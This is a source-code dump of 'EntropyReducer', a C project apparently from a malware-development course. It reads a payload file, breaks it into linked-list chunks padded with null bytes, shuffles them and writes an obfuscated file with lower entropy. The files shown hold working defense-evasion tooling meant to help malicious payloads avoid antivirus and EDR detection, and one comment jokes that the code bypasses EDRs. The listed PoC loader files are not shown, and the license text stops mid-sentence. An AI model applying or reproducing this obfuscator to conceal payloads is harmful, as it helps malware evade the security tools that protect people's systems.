├── EntropyReducer.sln ├── EntropyReducer ├── Common.h ├── EntropyReducer.c ├── EntropyReducer.vcxproj ├── EntropyReducer.vcxproj.filters ├── EntropyReducer.vcxproj.user ├── ReadWrite.c └── main.c ├── LICENSE ├── PoC ├── EntropyReducer.c ├── EntropyReducer.h ├── PoC.vcxproj ├── PoC.vcxproj.filters ├── PoC.vcxproj.user └── main.c └── README.md /EntropyReducer.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.4.33122.133 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EntropyReducer", "EntropyReducer\EntropyReducer.vcxproj", "{5E21B27C-6B6F-4994-A2ED-071824302101}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "PoC", "PoC\PoC.vcxproj", "{0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Debug|x86 = Debug|x86 14 | Release|x64 = Release|x64 15 | Release|x86 = Release|x86 16 | EndGlobalSection 17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 18 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Debug|x64.ActiveCfg = Debug|x64 19 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Debug|x64.Build.0 = Debug|x64 20 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Debug|x86.ActiveCfg = Debug|Win32 21 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Debug|x86.Build.0 = Debug|Win32 22 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Release|x64.ActiveCfg = Release|x64 23 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Release|x64.Build.0 = Release|x64 24 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Release|x86.ActiveCfg = Release|Win32 25 | {5E21B27C-6B6F-4994-A2ED-071824302101}.Release|x86.Build.0 = Release|Win32 26 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Debug|x64.ActiveCfg = Debug|x64 27 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Debug|x64.Build.0 = Debug|x64 28 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Debug|x86.ActiveCfg = Debug|Win32 29 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Debug|x86.Build.0 = Debug|Win32 30 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Release|x64.ActiveCfg = Release|x64 31 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Release|x64.Build.0 = Release|x64 32 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Release|x86.ActiveCfg = Release|Win32 33 | {0A3E547D-9A20-492D-ADA9-A3BBC5C20DD6}.Release|x86.Build.0 = Release|Win32 34 | EndGlobalSection 35 | GlobalSection(SolutionProperties) = preSolution 36 | HideSolutionNode = FALSE 37 | EndGlobalSection 38 | GlobalSection(ExtensibilityGlobals) = postSolution 39 | SolutionGuid = {57C65FF4-3547-4DBF-9602-6F94ADDB6FD2} 40 | EndGlobalSection 41 | EndGlobal 42 | -------------------------------------------------------------------------------- /EntropyReducer/Common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | 5 | 6 | #ifndef HELPER_H 7 | #define HELPER_H 8 | 9 | // these can be modified, and are are fun to play with, but: 10 | // - 'BUFF_SIZE' should be at least 2 11 | // - 'NULL_BYTES' should be at least 1 12 | 13 | #define BUFF_SIZE 0x04 // for every BUFF_SIZE bytes in the payload there will be NULL_BYTES bytes empty (0x00) 14 | #define NULL_BYTES 0x01 // change this value to further reduce the entropy (this add more size to the final payload) - the bigger the lower entropy 15 | 16 | 17 | struct LINKED_LIST; 18 | typedef struct _LINKED_LIST 19 | { 20 | BYTE pBuffer [BUFF_SIZE]; // payload's bytes 21 | BYTE pNull [NULL_BYTES]; // null padded bytes 22 | INT ID; // node id 23 | struct LINKED_LIST* Next; // next node pointer 24 | 25 | }LINKED_LIST, * PLINKED_LIST; 26 | 27 | // this will represent the seraizlized size of one node 28 | #define SERIALIZED_SIZE (BUFF_SIZE + NULL_BYTES + sizeof(INT)) 29 | 30 | // serialized payload size: SERIALIZED_SIZE * (number of nodes) 31 | // number of nodes: (padded payload size) / BUFF_SIZE 32 | 33 | typedef enum SORT_TYPE { 34 | SORT_BY_ID, 35 | SORT_BY_BUFFER 36 | }; 37 | 38 | // set the 'sPayloadSize' variable to be equal to the next nearest number that is multiple of 'N' 39 | #define NEAREST_MULTIPLE(sPayloadSize, N)(SIZE_T)((SIZE_T)sPayloadSize + (int)N - ((SIZE_T)sPayloadSize % (int)N)) 40 | 41 | // functions prototypes from Helper.c 42 | BOOL WritePayloadFile(IN PSTR cFileInput, IN LPCVOID pPayloadData, IN SIZE_T Size); 43 | BOOL ReadPayloadFile(IN PCSTR cFileInput, OUT PBYTE* pPayloadData, OUT PSIZE_T sPayloadSize); 44 | 45 | 46 | // functions prototypes from LinkedList.c 47 | BOOL InitializePayloadList(IN PBYTE pPayload, IN OUT PSIZE_T sPayloadSize, OUT PLINKED_LIST* ppLinkedList); 48 | PLINKED_LIST InsertAtTheEnd(IN OUT PLINKED_LIST LinkedList, IN PBYTE pBuffer, IN INT ID); 49 | VOID MergeSort(PLINKED_LIST* top, enum SORT_TYPE eType); 50 | 51 | 52 | #endif // !HELPER_H 53 | -------------------------------------------------------------------------------- /EntropyReducer/EntropyReducer.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "Common.h" 4 | 5 | 6 | // covert raw payload bytes to a linked list 7 | // - pPayload: Base Address of the payload 8 | // - sPayloadSize: pointer to a SIZE_T variable that holds the size of the payload, it will be set to the serialized size of the linked list 9 | // - ppLinkedList: pointer to a LINKED_LIST structure, that will represent the head of the linked list 10 | BOOL InitializePayloadList(IN PBYTE pPayload, IN OUT PSIZE_T sPayloadSize, OUT PLINKED_LIST* ppLinkedList) 11 | { 12 | 13 | // variable used to count the linked list elements (used to calculate the final size) 14 | // it is also used as the node's ID 15 | unsigned int x = 0; 16 | 17 | 18 | // setting the payload size to be multiple of 'BUFF_SIZE' 19 | SIZE_T sTmpSize = NEAREST_MULTIPLE(*sPayloadSize, BUFF_SIZE); 20 | if (!sTmpSize) 21 | return FALSE; 22 | 23 | // new padded buffer 24 | PBYTE pTmpBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sTmpSize); 25 | if (!pTmpBuffer) 26 | return FALSE; 27 | 28 | memcpy(pTmpBuffer, pPayload, *sPayloadSize); 29 | 30 | // for each 'BUFF_SIZE' in the padded payload, add it to the linked list 31 | for (int i = 0; i < sTmpSize; i++) { 32 | if (i % BUFF_SIZE == 0) { 33 | *ppLinkedList = InsertAtTheEnd((PLINKED_LIST)*ppLinkedList, &pTmpBuffer[i], x); 34 | x++; 35 | } 36 | } 37 | 38 | // updating the size to be the size of the whole *serialized* linked list 39 | *sPayloadSize = SERIALIZED_SIZE * x; 40 | 41 | // if the head is null 42 | if (*ppLinkedList == NULL) 43 | return FALSE; 44 | 45 | return TRUE; 46 | } 47 | 48 | 49 | 50 | // used to insert a node at the end of the given linked list 51 | // - LinkedList: a variable pointing to a 'LINKED_LIST' structure, this will represent the linked list head, this variable can be NULL, and thus will be initialized here 52 | // - pBuffer: the payload chunk (of size 'BUFF_SIZE') 53 | // - ID: the id of the node 54 | PLINKED_LIST InsertAtTheEnd(IN OUT PLINKED_LIST LinkedList, IN PBYTE pBuffer, IN INT ID) 55 | { 56 | 57 | // new tmp pointer, pointing to the head of the linked list 58 | PLINKED_LIST pTmpHead = (PLINKED_LIST)LinkedList; 59 | 60 | // creating a new node 61 | PLINKED_LIST pNewNode = (PLINKED_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(LINKED_LIST)); 62 | if (!pNewNode) 63 | return NULL; 64 | memcpy(pNewNode->pBuffer, pBuffer, BUFF_SIZE); 65 | pNewNode->ID = ID; 66 | pNewNode->Next = NULL; 67 | 68 | // if the head is null, it will start at the new node we created earlier 69 | if (LinkedList == NULL) { 70 | LinkedList = pNewNode; 71 | return LinkedList; 72 | } 73 | 74 | // else we will keep walking down the linked list till we find an empty node 75 | while (pTmpHead->Next != NULL) 76 | pTmpHead = pTmpHead->Next; 77 | 78 | // pTmpHead now is the last node in the linked list 79 | // setting the 'Next' value to the new node 80 | pTmpHead->Next = pNewNode; 81 | 82 | // returning the head of the linked list 83 | return LinkedList; 84 | } 85 | 86 | 87 | //------------------------------------------------------------------------------------------------------------------------------------------------------ 88 | // the following is the mergesort algorithm implementation 89 | 90 | // split the nodes of the list into two sublists 91 | void Split(PLINKED_LIST top, PLINKED_LIST* front, PLINKED_LIST* back) { 92 | PLINKED_LIST fast = top->Next; 93 | PLINKED_LIST slow = top; 94 | 95 | /* fast pointer advances two nodes, slow pointer advances one node */ 96 | while (fast != NULL) { 97 | fast = fast->Next; /* "fast" moves on first time */ 98 | if (fast != NULL) { 99 | slow = slow->Next; /* "slow" moves on first time */ 100 | fast = fast->Next; /* "fast" moves on second time */ 101 | } 102 | } 103 | 104 | /* "slow" is before the middle in the list, so split it in two at that point */ 105 | *front = top; 106 | *back = slow->Next; 107 | slow->Next = NULL; /* end of the input list */ 108 | } 109 | 110 | 111 | // merge two linked lists 112 | PLINKED_LIST Merge(PLINKED_LIST top1, PLINKED_LIST top2, enum SORT_TYPE eType) { 113 | if (top1 == NULL) 114 | return top2; 115 | else 116 | if (top2 == NULL) 117 | return top1; 118 | 119 | PLINKED_LIST pnt = NULL; 120 | 121 | int iValue1 = 0; 122 | int iValue2 = 0; 123 | 124 | switch (eType) { 125 | // this is used to deobfuscate 126 | case SORT_BY_ID: { 127 | iValue1 = (int)top1->ID; 128 | iValue2 = (int)top2->ID; 129 | break; 130 | } 131 | // this is used to obfuscate 132 | case SORT_BY_BUFFER: { 133 | iValue1 = (int)(top1->pBuffer[0] ^ top1->pBuffer[1] ^ top1->pBuffer[2]); // calculating a value from the payload buffer chunk 134 | iValue2 = (int)(top2->pBuffer[0] ^ top2->pBuffer[1] ^ top2->pBuffer[2]); // calculating a value from the payload buffer chunk 135 | break; 136 | } 137 | default: { 138 | return NULL; 139 | } 140 | } 141 | 142 | /* pick either top1 or top2, and merge them */ 143 | if (iValue1 <= iValue2) { 144 | pnt = top1; 145 | pnt->Next = Merge(top1->Next, top2, eType); 146 | } 147 | else { 148 | pnt = top2; 149 | pnt->Next = Merge(top1, top2->Next, eType); 150 | } 151 | return pnt; 152 | } 153 | 154 | 155 | // the main sorting function 156 | // - pLinkedList : is the head node of the linked list 157 | // - eType : 158 | // * is set to SORT_BY_BUFFER to obfuscate 159 | // * is set to SORT_BY_ID to deobfuscate 160 | VOID MergeSort(PLINKED_LIST* top, enum SORT_TYPE eType) { 161 | PLINKED_LIST tmp = *top, * a, * b; 162 | 163 | if (tmp != NULL && tmp->Next != NULL) { 164 | Split(tmp, &a, &b); /* (divide) split head into "a" and "b" sublists */ 165 | 166 | /* (conquer) sort the sublists */ 167 | MergeSort(&a, eType); 168 | MergeSort(&b, eType); 169 | 170 | *top = Merge(a, b, eType); /* (combine) merge the two sorted lists together */ 171 | } 172 | } 173 | -------------------------------------------------------------------------------- /EntropyReducer/EntropyReducer.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {5e21b27c-6b6f-4994-a2ed-071824302101} 25 | EntropyReducer 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | false 75 | 76 | 77 | 78 | Level3 79 | true 80 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 81 | true 82 | 83 | 84 | Console 85 | true 86 | 87 | 88 | 89 | 90 | Level3 91 | true 92 | true 93 | true 94 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 95 | true 96 | 97 | 98 | Console 99 | true 100 | true 101 | true 102 | 103 | 104 | 105 | 106 | Level3 107 | true 108 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 109 | true 110 | 111 | 112 | Console 113 | true 114 | 115 | 116 | 117 | 118 | Level3 119 | true 120 | true 121 | true 122 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 123 | true 124 | 125 | 126 | Console 127 | true 128 | true 129 | true 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | -------------------------------------------------------------------------------- /EntropyReducer/EntropyReducer.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | 29 | 30 | Header Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /EntropyReducer/EntropyReducer.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /EntropyReducer/ReadWrite.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "Common.h" 5 | 6 | #define PREFIX ".ER" 7 | 8 | 9 | // print error message to conosle 10 | BOOL ReportError(const char* ApiName) { 11 | printf("[!] \"%s\" [ FAILED ] \t%d \n", ApiName, GetLastError()); 12 | return FALSE; 13 | } 14 | 15 | 16 | 17 | // read file from disk 18 | BOOL ReadPayloadFile(IN PCSTR cFileInput, OUT PBYTE* pPayloadData, OUT PSIZE_T sPayloadSize) 19 | { 20 | HANDLE hFile = INVALID_HANDLE_VALUE; 21 | DWORD dwFileSize = NULL; 22 | DWORD dwNumberOfBytesRead = NULL; 23 | PBYTE pBuffer = NULL; 24 | 25 | 26 | hFile = CreateFileA(cFileInput, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 27 | if (hFile == INVALID_HANDLE_VALUE) 28 | return ReportError("CreateFileA"); 29 | 30 | if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) 31 | return ReportError("GetFileSize"); 32 | 33 | pBuffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize); 34 | if (!pBuffer) 35 | return ReportError("HeapAlloc"); 36 | 37 | if (!ReadFile(hFile, pBuffer, dwFileSize, &dwNumberOfBytesRead, NULL)) { 38 | printf("[i] Read %ld from %ld Bytes \n", dwNumberOfBytesRead, dwFileSize); 39 | return ReportError("ReadFile"); 40 | } 41 | 42 | *pPayloadData = pBuffer; 43 | *sPayloadSize = dwNumberOfBytesRead; 44 | 45 | CloseHandle(hFile); 46 | 47 | if (*pPayloadData == NULL || *sPayloadSize == NULL) 48 | return FALSE; 49 | 50 | return TRUE; 51 | } 52 | 53 | 54 | 55 | 56 | // write file to disk 57 | BOOL WritePayloadFile(IN PSTR cFileInput, IN LPCVOID pPayloadData, IN SIZE_T Size) 58 | { 59 | HANDLE hFile = INVALID_HANDLE_VALUE; 60 | DWORD dwNumberOfBytesWritten = NULL; 61 | // constructing the output file name 62 | CHAR* cFileName = (CHAR*)malloc(strlen(cFileInput) + sizeof(PREFIX) + 1); 63 | wsprintfA(cFileName, "%s%s", cFileInput, PREFIX); 64 | 65 | 66 | 67 | hFile = CreateFileA(cFileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, NULL, NULL); 68 | if (hFile == INVALID_HANDLE_VALUE) 69 | return ReportError("CreateFileA"); 70 | 71 | if (!WriteFile(hFile, (LPCVOID)pPayloadData, Size, &dwNumberOfBytesWritten, NULL) || (DWORD)Size != dwNumberOfBytesWritten) { 72 | printf("[i] Wrote %ld from %ld Bytes \n", dwNumberOfBytesWritten, Size); 73 | return ReportError("WriteFile"); 74 | } 75 | 76 | // cleanup 77 | free(cFileName); 78 | CloseHandle(hFile); 79 | 80 | return TRUE; 81 | } 82 | 83 | 84 | 85 | 86 | 87 | -------------------------------------------------------------------------------- /EntropyReducer/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | #include "Common.h" 5 | 6 | 7 | // can use this function to understand how the algorithm work :) 8 | // this function print the nodes 9 | VOID PrintList(IN PLINKED_LIST LinkedList) { 10 | 11 | PLINKED_LIST pTmpHead = (PLINKED_LIST)LinkedList; 12 | if (!pTmpHead) 13 | return; 14 | 15 | while (pTmpHead != NULL) { 16 | 17 | printf("\t>>> "); 18 | for (int i = 0; i < BUFF_SIZE; i++) { 19 | printf("0x%0.2X ", pTmpHead->pBuffer[i]); 20 | } 21 | printf("\t(%0.2d)\n", pTmpHead->ID); 22 | 23 | printf("\t\t>>> "); 24 | for (int i = 0; i < NULL_BYTES; i++) { 25 | printf("0x%0.2X ", pTmpHead->pNull[i]); 26 | } 27 | 28 | printf("\n\n"); 29 | pTmpHead = pTmpHead->Next; 30 | } 31 | } 32 | 33 | 34 | // Serailized node: 35 | // 36 | //----------------------// 37 | // BUFF_SIZE // 38 | //----------------------// 39 | // NULL_BYTES // 40 | //----------------------// 41 | // ID - 4 BYTES // 42 | //----------------------// 43 | 44 | 45 | 46 | BOOL Obfuscate(IN PBYTE PayloadBuffer, IN SIZE_T PayloadSize, OUT PBYTE* ObfuscatedBuffer, OUT PSIZE_T ObfuscatedSize) { 47 | 48 | PLINKED_LIST pLinkedList = NULL; 49 | *ObfuscatedSize = PayloadSize; 50 | 51 | // convert the payload to a linked list 52 | if (!InitializePayloadList(PayloadBuffer, ObfuscatedSize, &pLinkedList)) 53 | return 0; 54 | 55 | // ObfuscatedSize now is the size of the serialized linked list 56 | // pLinkedList is the head of the linked list 57 | 58 | // randomize the linked list (sorted by the value of 'Buffer[0] ^ Buffer[1] ^ Buffer[3]') 59 | MergeSort(&pLinkedList, SORT_BY_BUFFER); 60 | 61 | // printf("---------------------------------------------------------------------------------------------\n\n"); 62 | // PrintList(pLinkedList); 63 | // printf("---------------------------------------------------------------------------------------------\n\n"); 64 | 65 | 66 | PLINKED_LIST pTmpHead = pLinkedList; 67 | SIZE_T BufferSize = NULL; 68 | PBYTE BufferBytes = (PBYTE)LocalAlloc(LPTR, SERIALIZED_SIZE); 69 | 70 | // Serailize the linked list 71 | while (pTmpHead != NULL) { 72 | 73 | // this buffer will keep data of each node 74 | BYTE TmpBuffer [SERIALIZED_SIZE] = { 0 }; 75 | 76 | // copying the payload buffer 77 | memcpy(TmpBuffer, pTmpHead->pBuffer, BUFF_SIZE); 78 | // no need to copy the 'Null' element, cz its NULL already 79 | // copying the ID value 80 | memcpy((TmpBuffer + BUFF_SIZE + NULL_BYTES), &pTmpHead->ID, sizeof(int)); 81 | 82 | // reallocating and moving 'TmpBuffer' to the final buffer 83 | BufferSize += SERIALIZED_SIZE; 84 | 85 | if (BufferBytes != NULL) { 86 | BufferBytes = (PBYTE)LocalReAlloc(BufferBytes, BufferSize, LMEM_MOVEABLE | LMEM_ZEROINIT); 87 | memcpy((PVOID)(BufferBytes + (BufferSize - SERIALIZED_SIZE)), TmpBuffer, SERIALIZED_SIZE); 88 | } 89 | 90 | // next node 91 | pTmpHead = pTmpHead->Next; 92 | } 93 | 94 | // 'BufferBytes' is the serailized buffer 95 | *ObfuscatedBuffer = BufferBytes; 96 | 97 | if (*ObfuscatedBuffer != NULL && *ObfuscatedSize > PayloadSize) 98 | return 1; 99 | else 100 | return 0; 101 | } 102 | 103 | 104 | 105 | 106 | 107 | 108 | // this function bypass EDRs 109 | int Logo() { 110 | 111 | printf("\t\t\t#################################################################################\n"); 112 | printf("\t\t\t# #\n"); 113 | printf("\t\t\t# EntropyReducer - Designed By MalDevAcademy: @NUL0x4C | @mrd0x #\n"); 114 | printf("\t\t\t# #\n"); 115 | printf("\t\t\t#################################################################################\n"); 116 | printf("\n\n"); 117 | return -1; 118 | } 119 | 120 | 121 | 122 | int main(int argc, char* argv[]) { 123 | 124 | Logo(); 125 | 126 | // hhh 127 | if (!(argc >= 2)) { 128 | printf("[!] Please Specify A Input File To Obfuscate ... \n"); 129 | return -1; 130 | } 131 | printf("[i] BUFF_SIZE : [ 0x%0.4X ] - NULL_BYTES : [ 0x%0.4X ]\n", BUFF_SIZE, NULL_BYTES); 132 | 133 | SIZE_T RawPayloadSize = NULL; 134 | PBYTE RawPayloadBuffer = NULL; 135 | 136 | printf("[i] Reading \"%s\" ... ", argv[1]); 137 | if (!ReadPayloadFile(argv[1], &RawPayloadBuffer, &RawPayloadSize)) { 138 | return -1; 139 | } 140 | printf("[+] DONE \n"); 141 | printf("\t>>> Raw Payload Size : %ld \n\t>>> Read Payload Located At : 0x%p \n", RawPayloadSize, RawPayloadBuffer); 142 | 143 | 144 | SIZE_T ObfuscatedPayloadSize = NULL; 145 | PBYTE ObfuscatedPayloadBuffer = NULL; 146 | 147 | printf("[i] Obfuscating Payload ... "); 148 | if (!Obfuscate(RawPayloadBuffer, RawPayloadSize, &ObfuscatedPayloadBuffer, &ObfuscatedPayloadSize)) { 149 | return -1; 150 | } 151 | printf("[+] DONE \n"); 152 | printf("\t>>> Obfuscated Payload Size : %ld \n\t>>> Obfuscated Payload Located At : 0x%p \n", ObfuscatedPayloadSize, ObfuscatedPayloadBuffer); 153 | 154 | 155 | printf("[i] Writing The Obfuscated Payload ..."); 156 | if (!WritePayloadFile(argv[1], ObfuscatedPayloadBuffer, ObfuscatedPayloadSize)) { 157 | return -1; 158 | } 159 | printf("[+] DONE \n"); 160 | 161 | return 0; 162 | } 163 | 164 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor 